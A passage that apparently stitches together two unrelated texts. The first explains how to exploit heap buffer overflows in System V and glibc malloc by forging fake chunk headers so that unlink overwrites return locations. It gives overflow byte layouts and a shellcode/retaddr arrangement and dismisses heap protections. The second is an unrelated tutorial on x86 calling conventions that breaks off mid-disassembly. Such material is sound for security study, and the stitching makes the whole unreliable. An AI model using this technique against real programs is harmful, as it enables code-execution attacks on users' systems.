#define LINKFOR(b)      (((b)->t_n).w_p)
#define LINKBAK(b)      (((b)->t_p).w_p)


For all allocation operations a certain alignment and minimum size is
enforced, which is defined here:

#define WORDSIZE        (sizeof (WORD))
#define MINSIZE         (sizeof (TREE) - sizeof (WORD))
#define ROUND(s)        if (s % WORDSIZE) s += (WORDSIZE - (s % WORDSIZE))


The tree structure is the central element of each allocated chunk. Normally
only the 't_s' and 't_p' elements are used, and user data is stored from
't_l' on. Once the node is freed, this changes and the data is reused to
manage the free elements more efficiently. The chunk represents an element
within the splay tree. As more chunks get freed, the malloc implementation
tries to merge the free chunks right next to it. At most FREESIZE (32 by
default) chunks can be in this dangling free state at the same time. They
are all stored within the 'flist' array. If a call to free is made while
the list is already full, the old element at this place falls out and is
forwarded to realfree. The place is then occupied by the newly freed
element.

This is done to speed up and avoid defragmentation in cases where a lot of
calls to free are made in a row. The real merging process is done by
realfree.  It inserts the chunk into the central tree, which starts at the
'Root' pointer. The tree is ordered by the size of its elements and
is self-balancing. It is a so called "splay tree", in which the elements
cycle in a special way to speed up searches (see google.com "splay tree"
for further information). This is not much of importance here, but keep in
mind that there are two stages of free chunks: one being within the flist
array, and one within the free-elements tree starting at 'Root'.

There are some special management routines for allocating small chunks of
memory, which happen to have a size below 40 bytes. Those are not
considered here, but the basic idea is to have extra lists of them, not
keeping them within a tree but in lists, one for each WORD matching size
below 40.

There is more than one way to exploit a malloc based buffer overflow,
however here is one method which works against both, IRIX and Solaris.

As a chunk is realfree'd, it is checked whether the neighbor-chunks are
already within the realfree'd tree. If it is the case, the only thing
that has to be done is to logically merge the two chunks and reorder its
position within the tree, as the size has changed.

This merging process involves pointer modification within the tree, which
consists of nodes. These nodes are represented by the chunk header
itself. Pointers to other tree elements are stored there. If we can
overwrite them, we can possibly modify the operation when merging the
chunks.

Here is, how it is done in malloc.c:
(modified to show the interesting part of it)

static void
realfree(void *old)
{
        TREE    *tp, *sp, *np;
        size_t  ts, size;

        /* pointer to the block */
        tp = BLOCK(old);
        ts = SIZE(tp);
        if (!ISBIT0(ts))
                return;
        CLRBITS01(SIZE(tp));

        /* see if coalescing with next block is warranted */
        np = NEXT(tp);
        if (!ISBIT0(SIZE(np))) {
                if (np != Bottom)
                        t_delete(np);
                SIZE(tp) += SIZE(np) + WORDSIZE;
        }

We remember NEXT points to the chunk directly following the current one. So
we have this memory layout:

          tp               old              np
          |                |                |
          [chunk A header] [chunk A data] | [chunk B or free ....]
                                          |
                                          chunk boundary

In the usual situation the application has allocated some space and got a
pointer (old) from malloc. It then messes up and allows a buffer overflow
of the chunk data. We cross the chunk boundary by overflowing and hit the
data behind, which is either free space or another used chunk.

        np = NEXT(tp);

Since we can only overflow data behind 'old', we cannot modify the header
of our own chunk. Therefore we cannot influence the 'np' pointer in any
way. It always points to the chunk boundary.

Now a check is made to test if it is possible to merge forward, that is our
chunk and the chunk behind it. Remember that we can control the chunk
to the right of us.

        if (!ISBIT0(SIZE(np))) {
                if (np != Bottom)
                        t_delete(np);
                SIZE(tp) += SIZE(np) + WORDSIZE;
        }
 
BIT0 is zero if the chunk is free and within the free elements tree. So if
it is free and not the last chunk, the special 'Bottom' chunk, it is
deleted from the tree. Then the sizes of both chunks are added and later in
the code of the realfree function the whole resized chunk is reinserted
into the tree.

One important part is that the overflowed chunk must not be the last chunk
within the malloc space, condition:

        1. Overflowed chunk must not be the last chunk

Here is how the 't_delete' function works:

static void
t_delete(TREE *op)
{
        TREE    *tp, *sp, *gp;

        /* if this is a non-tree node */
        if (ISNOTREE(op)) {
                tp = LINKBAK(op);
                if ((sp = LINKFOR(op)) != NULL)
                        LINKBAK(sp) = tp;
                LINKFOR(tp) = sp;
                return;
        }

There are other cases, but this is the one easiest to exploit. As I am
already tired of this, I will just explain this one here. The others are
very similar (look at malloc.c).

ISNOTREE compares the 't_l' element of the TREE structure with -1. -1 is
the special marker for non-tree nodes, which are used as doubly linked list,
but that does not matter.

Anyway, this is the first condition we have to obey:

        2. fake->t_l = -1;

Now the unlinking between FOR (t_n) and BAK (t_p) is done, which can be
rewritten as:

        t1 = fake->t_p
        t2 = fake->t_n
        t2->t_p = t1
        t1->t_n = t2

Which is (written in pseudo-raw-assignments which happen at the same time):

        [t_n + (1 * sizeof (WORD))] = t_p
        [t_p + (4 * sizeof (WORD))] = t_n

This way we can write to arbitrary addresses together with valid
addresses at the same time. We choose to use this:

        t_p = retloc - 4 * sizeof (WORD)
        t_n = retaddr

This way retloc will be overwritten with retaddr and *(retaddr + 8) will be
overwritten with retloc. If there is code at retaddr, there should be a
small jump over the bytes 8-11 to not execute this address as code. Also,
the addresses can be swapped if that fits the situation better.

Finally our overwrite buffer looks like this:

  | <t_s> <t_p> <t_l> <j: t_r> <t_n> <j: t_d>
  |
  chunk boundary

Where: t_s = some small size with lower two bits zeroed out
       t_p = retloc - 4 * sizeof (WORD)
       t_l = -1
       t_r = junk
       t_n = retaddr
       t_d = junk

Note that although all of the data is stored as 32 bit pointers, each
structure element occupies eight bytes. This is  because of the WORD
union, which forces at least ALIGN bytes to be used for each element.
ALIGN is defined to eight by default.

So a real overflow buffer behind the chunk boundary might look like:

ff ff ff f0 41 41 41 41  ef ff fc e0 41 41 41 41  | ....AAAA....AAAA
ff ff ff ff 41 41 41 41  41 41 41 41 41 41 41 41  | ....AAAAAAAAAAAA
ef ff fc a8 41 41 41 41  41 41 41 41 41 41 41 41  | ....AAAAAAAAAAAA

All 'A' characters can be set arbitrarily. The 't_s' element has been
replaced with a small negative number to avoid NUL bytes. If you want to use
NUL bytes, use very few. Otherwise the realfree function will crash later.

The buffer above will overwrite:

        [0xeffffce0 + 32] = 0xeffffca8
        [0xeffffca8 +  8] = 0xeffffce0

See the example code (mxp.c) for a more in-depth explanation.

To summarize down the guts if you happen to exploit a malloc based buffer
overflow on IRIX or Solaris:

       1. Create a fake chunk behind the one you overflow
       2. The fake chunk is merged with the one you overflow as it is
          passed to realfree
       3. To make it pass to realfree it has to call malloc() again or
          there have to be a lot of successive free() calls
       4. The overflowed chunk must not be the last chunk (the one before
          Bottom)
       5. Prepend the shellcode/nop-space with jump-aheads to not execute
          the unavoidable unlink-overwrite address as code
       6. Using the t_splay routines attacks like this are possible too, so
          if you cannot use the attack described here (say you cannot
          write 0xff bytes), use the source luke.


There are a lot of other ways to exploit System V malloc management, way
more than there are available in the GNU implementation. This is a result
of the dynamic tree structure, which also makes it difficult to understand
sometimes. If you have read until here, I am sure you can find your own
ways to exploit malloc based buffer overflows.


GNU C Library implementation
============================

The GNU C library keeps the information about the memory slices the
application requests in so called 'chunks'. They look like this (adapted
from malloc.c):

             +----------------------------------+
    chunk -> | prev_size                        |
             +----------------------------------+
             | size                             |
             +----------------------------------+
      mem -> | data                             |
             : ...                              :
             +----------------------------------+
nextchunk -> | prev_size ...                    |
             :                                  :

Where mem is the pointer you get as return value from malloc(). So if you
do a:

        unsigned char * mem = malloc (16);

Then 'mem' is equal to the pointer in the figure, and (mem - 8) would be
equal to the 'chunk' pointer.

The 'prev_size' element has a special function: If the chunk before the
current one is unused (it was free'd), it contains the length of the chunk
before. In the other case - the chunk before the current one is used -
'prev_size' is part of the 'data' of it, saving four bytes.

The 'size' field has a special meaning. As you would expect, it contains
the length of the current block of memory, the data section. As you call
malloc(), four is added to the size you pass to it and afterwards the size
is padded up to the next double-word boundary. So a malloc(7) will become a
malloc(16), and a malloc(20) will become malloc(32). For malloc(0) it will
be padded to malloc(8). The reason for this behaviour will be explained in
the latter.

Since this padding implies that the lower three bits are always zero and
are not used for real length, they are used another way. They are used to
indicate special attributes of the chunk. The lowest bit, called
PREV_INUSE, indicates whether the previous chunk is used or not. It is set
if the next chunk is in use. The second least significant bit is set if the
memory area is mmap'ed -- a special case which we will not consider.  The
third least significant bit is unused.

To test whether the current chunk is in use or not, we have to check the
next chunk's PREV_INUSE bit within its size value.

Once we free() the chunk, using free(mem), some checks take place and the
memory is released. If its neighbour blocks are free, too (checked using
the PREV_INUSE flag), they will be merged to keep the number of reuseable
blocks low, but their sizes as large as possible. If a merge is not
possible, the next chunk is tagged with a cleared PREV_INUSE bit, and the
chunk changes a bit:

             +----------------------------------+
    chunk -> | prev_size                        |
             +----------------------------------+
             | size                             |
             +----------------------------------+
      mem -> | fd                               |
             +----------------------------------+
             | bk                               |
             +----------------------------------+
             | (old memory, can be zero bytes)  |
             :                                  :

nextchunk -> | prev_size ...                    |
             :                                  :

You can see that there are two new values, where our data was previously
stored (at the 'mem' pointer). Those two values, called 'fd' and 'bk' -
forward and backward, that is, are pointers. They point into a double
linked list of unconsolidated blocks of free memory. Every time a new free
is issued, the list will be checked, and possibly unconsolidated blocks
are merged. The whole memory gets defragmented from time to time to release
some memory.

Since the malloc size is always at least 8 bytes, there is enough space for
both pointers. If there is old data remaining behind the 'bk' pointer, it
remains unused until it gets malloc'd again.

The interesting thing regarding this management, is that the whole internal
information is held in-band -- a clear channeling problem.
(just as with format string commands within the string itself, as control
channels in breakable phonelines, as return addresses within stack memory,
etc).

Since we can overwrite this internal management information if we can
overwrite a malloced area, we should take a look at how it is processed
later on. As every malloc'ed area is free()'d again in any sane program,
we take a look at free, which is a wrapper to chunk_free() within malloc.c
(simplified a bit, took out #ifdef's):

static void
chunk_free(arena *ar_ptr, mchunkptr p)
{
  size_t     hd = p->size; /* its head field */
  size_t     sz;           /* its size */
  int        idx;          /* its bin index */
  mchunkptr  next;         /* next contiguous chunk */
  size_t     nextsz;       /* its size */
  size_t     prevsz;       /* size of previous contiguous chunk */
  mchunkptr  bck;          /* misc temp for linking */
  mchunkptr  fwd;          /* misc temp for linking */
  int        islr;         /* track whether merging with last_remainder */

  check_inuse_chunk(ar_ptr, p);

  sz = hd & ~PREV_INUSE;
  next = chunk_at_offset(p, sz);
  nextsz = chunksize(next);

Since the malloc management keeps chunks within special structures called
'arenas', it is now tested whether the current chunk that should be free
directly borders to the 'top' chunk -- a special chunk. The 'top' chunk is
always the top-most available memory chunk within an arena, it is the border
of the available memory. The whole if-block is not interesting for typical
buffer overflows within the malloc space.

  if (next == top(ar_ptr))                         /* merge with top */
  {
    sz += nextsz;

    if (!(hd & PREV_INUSE))                    /* consolidate backward */
    {
      prevsz = p->prev_size;
      p = chunk_at_offset(p, -(long)prevsz);
      sz += prevsz;
      unlink(p, bck, fwd);
    }

    set_head(p, sz | PREV_INUSE);
    top(ar_ptr) = p;

      if ((unsigned long)(sz) >= (unsigned long)trim_threshold)
        main_trim(top_pad);
    return;
  }

Now the 'size' of the current chunk is tested whether the previous chunk is
unused (testing for the PREV_INUSE flag). If this is the case, both chunks
are merged.

  islr = 0;

  if (!(hd & PREV_INUSE))                    /* consolidate backward */
  {
    prevsz = p->prev_size;
    p = chunk_at_offset(p, -(long)prevsz);
    sz += prevsz;

    if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
      islr = 1;
    else
      unlink(p, bck, fwd);
  }

Now the same is done vice versa. It is checked whether the chunk in front
of the current chunk is free (testing for the PREV_INUSE flag of the size
two chunks ahead). If this is the case the chunk is also  merged into the
current one.

  if (!(inuse_bit_at_offset(next, nextsz)))   /* consolidate forward */
  {
    sz += nextsz;

    if (!islr && next->fd == last_remainder(ar_ptr))
                                              /* re-insert last_remainder */
    {
      islr = 1;
      link_last_remainder(ar_ptr, p);
    }
    else
      unlink(next, bck, fwd);

    next = chunk_at_offset(p, sz);
  }
  else
    set_head(next, nextsz);                  /* clear inuse bit */

  set_head(p, sz | PREV_INUSE);
  next->prev_size = sz;
  if (!islr)
    frontlink(ar_ptr, p, sz, idx, bck, fwd);
}

As Solar Designer showed us, it is possible to use the 'unlink' macro to
overwrite arbitrary memory locations. Here is how to do:

A usual buffer overflow situation might look like:

        mem = malloc (24);
        gets (mem);
        ...
        free (mem);

This way the malloc'ed chunk looks like this:

[ prev_size ] [ size P] [ 24 bytes ... ] (next chunk from now)
       [ prev_size ] [ size P] [ fd ] [ bk ] or [ data ... ]

As you can see, the next chunk directly borders to our chunk we overflow.
We can overwrite anything behind the data region of our chunk, including
the header of the following chunk.

If we take a closer look at the end of the chunk_free function, we see this
code:

  if (!(inuse_bit_at_offset(next, nextsz)))   /* consolidate forward */
  {
    sz += nextsz;

    if (!islr && next->fd == last_remainder(ar_ptr))
                                              /* re-insert last_remainder */
    {
      islr = 1;
      link_last_remainder(ar_ptr, p);
    }
    else
      unlink(next, bck, fwd);

    next = chunk_at_offset(p, sz);
  }

The inuse_bit_at_offset, is defined as macro in the beginning of malloc.c:

#define inuse_bit_at_offset(p, s)\
 (((mchunkptr)(((char*)(p)) + (s)))->size & PREV_INUSE)

Since we control the header of the 'next' chunk we can trigger the whole if
block at will. The inner if statement is uninteresting, except our chunk is
bordering to the top-most chunk. So if we choose to trigger the outer if
statement, we will call unlink, which is defined as macro, too:

#define unlink(P, BK, FD)                                                \
{                                                                        \
  BK = P->bk;                                                            \
  FD = P->fd;                                                            \
  FD->bk = BK;                                                           \
  BK->fd = FD;                                                           \
}

The unlink is called with a pointer to a free chunk and two temporary
pointer variables, called bck and fwd. It does this to the 'next' chunk
header:

  *(next->fd + 12) = next->bk
  *(next->bk + 8) = next->fd

They are not swapped, but the 'fd' and 'bk' pointers point to other chunks.
This two chunks being pointed to are linked, zapping the current chunk from
the table.

So to exploit a malloc based buffer overflow, we have to write a bogus
header in the following chunk and then wait for our chunk getting free'd.

        [buffer .... ] | [ prev_size ] [ size ] [ fd ] [ bk ]

'|' is the chunk boundary.

The values we set for 'prev_size' and 'size' do not matter, but two
conditions have to be met, in case it should work:

  a) the least significant bit of 'size' has to be zero
  b) both, 'prev_size' and 'size' should be add-safe to a pointer that is
     read from. So either use very small values up to a few thousand, or -
     to avoid NUL bytes - use big values such as 0xfffffffc.
  c) you have to ensure that at (chunk_boundary + size + 4) the lowest bit
     is zeroed out (0xfffffffc will work just fine)

'fd' and 'bk' can be set this way (as used in Solar Designers Netscape
Exploit):

  fd = retloc - 12
  bk = retaddr

But beware, that (retaddr + 8) is being written to and the content there
will be destroyed. You can circumvent this by a simple '\xeb\x0c' at
retaddr, which will jump twelve bytes ahead, over the destroyed content.

Well, however, exploitation is pretty straight forward now:

<jmp-ahead, 2> <6> <4 bogus> <nop> <shellcode> |
        \xff\xff\xff\xfc \xff\xff\xff\xfc <retloc - 12> <retaddr>

Where '|' is the chunk boundary (from that point we overflow). Now, the
next two negative numbers are just to survive a few checks in free() and to
avoid NUL bytes. Then we store (retloc - 12) properly encoded and then the
return address, which will return to the 'jmp-ahead'. The buffer before the
'|' is the same as with any x86 exploit, except for the first 12 bytes,
because we have to take care of the extra write operation by the unlink
macro.


Off-by-one / Off-by-five
------------------------

It is possible to overwrite arbitrary pointers, even in cases where you can
overwrite only five bytes, or - in special cases - only one byte. When
overwriting five bytes the memory layout has to look like:

        [chunk a] [chunk b]

Where chunk a is under your control and overflowable. Chunk b is already
allocated as the overflow happens. By overwriting the first five bytes of
chunk b, we trash the 'prev_size' element of the chunks header and the
least significant byte of the 'size' element. Now, as chunk b is free()'d,
backward consolidation pops in, since 'size' has the PREV_INUSE flag
cleared (see below). If we supply a small value for 'prev_size', which is
smaller than the size of chunk a, we create a fake chunk structure:

        [chunk a ... fakechunk ...] [chunk b]
                     |
                     p 

Where prev_size of chunk b points relativly negative to the fake chunk.
The code which is exploitable through this setting was already discussed:

  if (!(hd & PREV_INUSE))                    /* consolidate backward */
  {
    prevsz = p->prev_size;
    p = chunk_at_offset(p, -(long)prevsz);
    sz += prevsz;

    if (p->fd == last_remainder(ar_ptr))     /* keep as last_remainder */
      islr = 1;
    else
      unlink(p, bck, fwd);
  }

'hd' is the size element of chunk b. When we overwrite it, we clear out the
lower two bits, so PREV_INUSE is cleared and the if condition is matched
(NUL will do it in fact). In the next few instructions 'p', which was a
pointer to chunk b originally, is relocated to our fakechunk. Then the
unlink macro is called and we can overwrite the pointers as usual. We use
backward consolidation now, while in the previous description we have used
forward consolidation. Is this all confusing? Well, when exploiting malloc
overflows, do not worry about the details, they will become clearer as you
understand the malloc functions from a broader scope.

  For a really well done overview and description of the malloc
implementation in the GNU C Library, take a look at the GNU C Library
reference manual [3]. It makes a good read for non-malloc related things,
too.


Possible obstacles and how to get over with them
================================================

As with any new exploitation technique people will show up which have the
'perfect' solution to the problem in their head or in form of a patch to
the malloc functions. Those people - often ones who have never written
an exploit themselves - are misleading into a wrong sense of security and I
want to leave a few words about those approaches and why they seldomly work.

There are three host based stages where you can stop a buffer overflow
resulting in a compromise:

 1. The bug/overflow stage

    This is the place where the real overflow happens, where data is
overwritten. If this place is known, the origin of the problem can be fixed
(at source level). However, most approaches argue that this place is not
known and therefore the problem cannot be fixed yet.

 2. The activation stage

    After the overflow happened parts of the data of the application are
corrupted. It does not matter what kind of data, whether it is a stack
frame, a malloc management record or static data behind a buffer. The
process is still running its own path of code, the overwritten data is
still passive. This stage is everything after the overflow itself and
before the seize of execution control. This is where the natural,
non-artificially introduced hurdles for the attacker lies, code which must
be passed in a certain way.

 3. The seized stage

    This is everything after control has been redirected from its original
path of execution. This is the stage where nopspace and shellcode is
executed, where no real exploitation hurdles are left.


Now for the protection systems. Most of the "non-exec stack" and "non-exec
heap" patches try to catch the switch from stage two to three, where
execution is seized, while some proprietary systems check for the origin of
a system call from within kernel space. They do not forbid you to run code
this way, they try to limit what code can be run.

Those systems which allow you to redirect execution in the first place are
fundamentally flawed. They try to limit the exploitation in a black-listing
way, by trying to plug the places you may want to go to. But if you can
execute legal code within the process space its almost everytime enough to
compromise the process as a whole.

Now for the more challenging protections, which try to gripe you in stage
two. Those include - among others - libsafe, StackGuard, FormatGuard, and
any compiler or library based patches. They usually require a recompilation
or relinking of your existing code, to insert their security 'measures'
into your code. This includes canary values, barriers of check bytes or
reordering and extensive checking of sanity before doing things which might
be bad. While sanity checking in general is a good policy for security, it
cannot fix stuff that was broken before. Every of those protections is
assuming a certain situation of a bug which might appear in your program
and try to predict the results of an attacker abusing the bug. They setup
traps which they assume you will or have to trigger to exploit the bug.
This is done before your control is active, so you cannot influence it
much except by choosing the input data. Those are, of course much more
tight than protection systems which only monitor stage three, but still
there are ways around them. A couple of ways have been discussed in the
past, so I will not go into depth here. Rather, I will briefly address on a
protection which I already see on the horizon under a name like
'MallocGuard'.

Such a protection would not change the mechanism of malloc management
chunks much, since the current code has proved to be effective. The malloc
function plays a key role in overall system performance, so you cannot
tweak freely here. Such a protection can only introduce a few extra checks,
it cannot verify the entire consistency everytime malloc() is called. And
this is where it is flawed: Once you seize control over one malloc chunk
information, you can seize control over other chunks too. Because chunks
are 'walked' by using either stored pointers (SysV) or stored lengths
(GlibC), it is possible to 'create' new chunks. Since a sanity check would
have to assume inconsistency of all chunks in the worst case, it would have
to check all chunks by walking them. But this would eat up too much
performance, so its impossible to check for malloc overflows easily while
still keep a good performance. So, there will be no 'MallocGuard', or it
will be a useless guard, in the tradition of useless pseudo protections. As
a friend puts it - 'for every protection there is an anti-protection'.


Thanks
======

I would like to thank all proofreaders and correctors. For some really
needed corrections I thank MaXX, who wrote the more detailed article about
GNU C Library malloc in this issue of Phrack, kudos to him ! :)


References
==========

[1] Solar Designer,
    http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
[2] DD Sleator, RE Tarjan, "Self-Adjusting Binary Trees", 1985,
    http://www.acm.org/pubs/citations/journals/jacm/1985-32-3/p652-sleator/
    http://www.math.tau.ac.il/~haimk/adv-ds-2000/sleator-tarjan-splay.pdf
[3] The GNU C Library
    http://www.gnu.org/manual/glibc-2.2.3/html_node/libc_toc.html
[4] Solaris 8 Foundation Source Program
    http://www.sun.com/software/solaris/source/

|=[ EOF ]=---------------------------------------------------------------=|

﻿http://altdevblogaday.com/2012/02/07/c-c-low-level-curriculum-part-5-even-more-stack/ 
#AltDevBlogADay » C / C++ Low Level Curriculum Part 5: Even More Stack
Created:
2/8/2012 1:32:49 PM
Updated:
2/8/2012 1:32:57 PM
Author:

Tags:
C++ visualstudio stackbof


C / C++ Low Level Curriculum Part 5: Even More Stack
Welcome to the 5th installment of the series I’m doing on a C/C++ Low-Level Curriculum. This is the 3rd post about the Stack, the fundamentals have been covered a couple of posts ago, and the previous post and this one are really just for extra information to round out the picture of ways the Stack is used in win32 x86 function calls – then we can move on to other low level aspects of the C/C++ languages.
The last two (win32 x86) function calling conventions we’re going to look at are thiscall which is used for calling non-static member functions of classes, and fastcall which emphasises register use over stack use for parameters. As with the previous posts about the Stack, the point of this isn’t so much the specific calling conventions that we’re examining, but rather to see the different ways that the Stack and registers are used to pass information around when functions are called.
 
Previously on #AltDevBlogADay...
If you missed the previous C/C++ Low Level Curriculum posts, here are some backlinks:
1. http://altdevblogaday.com/2011/11/09/a-low-level-curriculum-for-c-and-c/
2. http://altdevblogaday.com/2011/11/24/c-c-low-level-curriculum-part-2-data-types/
3. http://altdevblogaday.com/2011/12/14/c-c-low-level-curriculum-part-3-the-stack/
4. http://altdevblogaday.com/2011/12/24/c-c-low-level-curriculum-part-4-more-stack/
Generally I will try to avoid too much assumed knowledge, but this post does assume that you have read the posts linked above as 3 and 4 (or have a working knowledge of how the Stack works in vanilla x86 assembler, in which case why are you reading this!?).
 
Compiling and running code from this article
I assume that you are familiar with the VS2010 IDE, and comfortable writing, running, and debugging C++ programs.
As with the previous posts in this series, I’m using a win32 console application made by the “new project” wizard in VS2010 with the default options (express edition is fine).
The only change I make from the default project setup is to turn off “Basic Runtime Checks” to make the generated assembler more legible (and significantly faster...) see this previous post for details on how to do this.
To run code from this article in a VS2010 project created this way open the .cpp file that isn’t stdafx.cpp and replace everything below the line: #include “stdafx.h” with text copied and pasted from the code box.
The disassembly we look at is from the debug build configuration, which will generate “vanilla” unoptimised win32 x86 code.
 
The “thiscall” calling convention
As I’m sure you’re aware, in any non-static class member function it is possible to access a pointer to the instance of the class that the function was called on via the C++ keyword this.
The presence of the this pointer is often explained away by saying that it is an invisible “0th parameter to member functions”, which isn’t necessarily incorrect but is the same kind of truth that Obiwan Kenobi might have dealt in if he had been a computer science professor rather than a retired Jedi Knight; that is to say “true, from a certain point of view”.
The thiscall calling convention is more or less exactly the same as the stdcall calling convention we have already looked at in some detail in the last two posts (this->pPrevious->pPrevious, this->pPrevious). Though it is the default calling convention used by the VS2010 compiler for non-static member functions, it’s worth noting that there are situations where the compiler won’t use it (e.g. if your function uses the elipsis operator to take a varaible number of arguments).
As we have seen in the last two posts; the unoptimised win32 x86 stdcall calling convention passes its parameters on the Stack. The thiscall convention obviously must somehow pass the this pointer to member functions, but rather than storing an extra parameter on the Stack, it uses a register (ecx) to pass it to the called function.
The code below demonstrates this...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class CSumOf
{
public:
    int m_iSumOf;
 
    void SumOf( int iParamOne, int iParamTwo )
    {
        m_iSumOf = iParamOne + iParamTwo;
    }
};
 
int main( int argc, char** argv )
{
    int iValOne        = 1;
    int iValTwo        = 2;
    CSumOf cMySumOf;
    cMySumOf.SumOf( iValOne, iValTwo );
    return 0;
}
Paste this into VS2010, and put a breakpoint on the line
1
cMySumOf.SumOf( iValOne, iValTwo );
Run the debug build configuration; when the breakpoint is hit, right click and choose “Go To Disassembly”, and you should see something like this (n.b. the addresses in the leftmost column of the disassembly will almost certainly differ):

Make sure that the check boxes in your right-click context menu match those shown in this screenshot, or your disassembly will not match mine!
The block of assembler that we’re interested in for the purposes of illustrating how the thiscall convention works is shown below:
1
2
3
4
5
6
7
8
9
10
11
12
    14:     int iValOne        = 1;
00EE1259  mov         dword ptr [iValOne],1
    15:     int iValTwo        = 2;
00EE1260  mov         dword ptr [iValTwo],2
    16:     CSumOf cMySumOf;
    17:     cMySumOf.SumOf( iValOne, iValTwo );
00EE1267  mov         eax,dword ptr [iValTwo]
00EE126A  push        eax
00EE126B  mov         ecx,dword ptr [iValOne]
00EE126E  push        ecx
00EE126F  lea         ecx,[cMySumOf]
00EE1272  call        CSumOf::SumOf (0EE112Ch)
The assembler involved with calling CSumof::SumOf() starts at line 7 and goes to line 12.
Lines 7 to 10 are pushing the parameters to the function onto the stack in reverse order of declaration, exactly as with the stdcall convention we looked at in the previous article.
Line 11 is storing the address of cMySumOf in ecx using the instruction lea. If you right click and un-check “Show Symbol Names” you can see that lea is computing the address of cMySumOf given its offset from the ebx register.
Line 12 is obviously calling the function.
Stepping into the function call in the disassembly you should see the following: (not forgetting that we have to step through an additional jmp instruction before we get there because of VS2010 incremental linking – see approx. half way through this post for the details)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
     6:     void SumOf( int iParamOne, int iParamTwo )
     7:     {
00EE1280  push        ebp
00EE1281  mov         ebp,esp
00EE1283  sub         esp,44h
00EE1286  push        ebx
00EE1287  push        esi
00EE1288  push        edi
00EE1289  mov         dword ptr [ebp-4],ecx
     8:         m_iSumOf = iParamOne + iParamTwo;
00EE128C  mov         eax,dword ptr [iParamOne]
00EE128F  add         eax,dword ptr [iParamTwo]
00EE1292  mov         ecx,dword ptr [this]
00EE1295  mov         dword ptr [ecx],eax
     9:     }
The calling code stored the address of the calling instance of the local variable cMySumOf in the ecx register before calling this function, and if we examine line 9 in code box above, you can see that – compared to the stdcall assembler – the function prologue has an extra step – it is moving the value in ecx into a memory address within the function’s stack frame (i.e. ebp-4). The upshot of this is that after line 9 [ebp-4] now stores the function’s this pointer.
The function then proceeds exactly as you might expect from the disassembly we’ve examined in previous articles up until line 13.
Line 13 moves the this pointer (previously stored in the function’s stack frame) into ecx, then line 14 stores the value of eax into the address specified by ecx (remember: in the VS2010 disassembly view, values in [square brackets] are memory accesses, taking the address to access from the value in the brackets). If you right click in the disassembly window and un-check “Show Symbol Names” you will see that the symbol this corresponds to ebp-4, which is where the value of ecx was stored at the end of the function prologue.
The astute amongst you will have noticed that the assembler is storing the this pointer from ecx into the Stack only to get it re-load it into ecx later without having used the register in the intervening time. This is exactly the kind of odd thing that un-optimised compiler generated assembler will do, try not to let it bother you :)
So the sum of the two parameters is stored using the this pointer, and then we hit the function prologue and the function returns; end of story – or is it?
 
Nothing to see here. Move along.
This is not what you might expect because – based on what we’ve seen so far – that assembler that is setting CSumOf::m_iSumOf in the member function doesn’t obviously match the C++ code we wrote.
What we’re seeing looks like it might have been generated by the code
*((int*) this) = iParamOne + iParamTwo;
And in fact if you substitute that line it will generate exactly the same assembler – so how does that work?!?
// Here's what we wrote. Since m_iSumOf is a class member the language syntax allows use to
// "access it directly" (another Professor Kenobiism) in the member function
m_iSumOf = iParamOne + iParamTwo;
 
// in fact, what happens is that the compiler evaluates the code as if it was written like this
this->m_iSumOf = iParamOne + iParamTwo;
Ok, so there’s invisible pointer access in the C++ code, but that still doesn’t explain what we’re seeing – exactly how is
*((int*) this)
equivalent to
this->m_iSumOf
The answer has to do with memory layout of C++ classes (and structs), which is a topic for another entire article (probably several).
For now we’ll keep the explanation simple whilst trying not to channel our friend Professor Kenobi more than absolutely necessary...
First let’s take it as read that the member data for an instance of class must be stored somewhere in memory, and take a high level look at how the “pointing to” operator works with another code snippet:
this->m_iSumOf = 0;
This basically tells the compiler generate assembler that:
· gets the value of this (a memory address)
· looks up the offset of m_iSumOf relative to the start of the data needed by an instance of CSumOf (which is known at compile time, so it’s constant at run time)
· adds the offset to the address of this to get the memory address storing m_iSumOf and then sets the value at the resulting memory address to 0
The this pointer holds the address of the first byte of the data in an instance of CSumOf.
The first (and only) member variable in CSumOf is m_iSumOf, which puts it at an offset of 0 relative to the this pointer – and clearly even a debug build knows better than to add an offset of 0, so it accesses the memory at the address this.
So, again, we can see that even in seemingly innoccuous everyday C++ code there is hidden stuff going on – which is a big part of why I’m doing this series :)
Incidentally, I have recently been made aware of an unbelievably useful (and undocumented!) feature of the VS2010 compiler which prints the memory layout of classes to the build output during compilation: here’s the link I was sent, I hope you find it useful: http://thetweaker.wordpress.com/2010/11/07/d1reportallclasslayout-dumping-object-memory-layout/
 
fastcall (last one, I promise)
At last we come to the win32 x86 calling convention excitingly named fastcall, so named because in theory it makes function calls faster (than the more common stdcall or cdecl conventions).
So why is it faster than the other calling conventions that we’ve looked at? To answer this, we’ll need to examine the assembler generated by a function call that uses the fastcall convention.
To demonstrate this we’ll use the code below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall SumOf( int iParamOne, int iParamTwo, int iParamThree )
{
    int iLocal = iParamOne + iParamTwo + iParamThree;
    return iLocal;
}
 
int main( int argc, char** argv )
{
    int iValOne   = 1;
    int iValTwo   = 2;
    int iValThree = 4;
    int iResult   = SumOf( iValOne, iValTwo, iValThree );
    return 0;
}
This is basically the same as the code used in the previous post in the series to show how the stdcall calling convention stores multiple parameters on the stack, except the function SumOf has got an extra keyword between the return type and the name of the function.
The __fastcall keyword is a not-quite Microsoft specific C++ extension that changes the calling convention used to call the function it is applied to (http://en.wikipedia.org/wiki/X86_calling_conventions#fastcall).
If you follow the usual drill to make a runnable project from this snippet, put a breakpoint on line 12, then compile and run the debug configuration, wait for the breakpoint to get hit, and go to disassembly you should see something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
     8: int main( int argc, char** argv )
     9: {
010F1280  push        ebp
010F1281  mov         ebp,esp
010F1283  sub         esp,50h
010F1286  push        ebx
010F1287  push        esi
010F1288  push        edi
    10:     int iValOne   = 1;
010F1289  mov         dword ptr [iValOne],1
    11:     int iValTwo   = 2;
010F1290  mov         dword ptr [iValTwo],2
    12:     int iValThree = 4;
010F1297  mov         dword ptr [iValThree],4
    13:     int iResult   = SumOf( iValOne, iValTwo, iValThree );
010F129E  mov         eax,dword ptr [iValThree]
010F12A1  push        eax
010F12A2  mov         edx,dword ptr [iValTwo]
010F12A5  mov         ecx,dword ptr [iValOne]
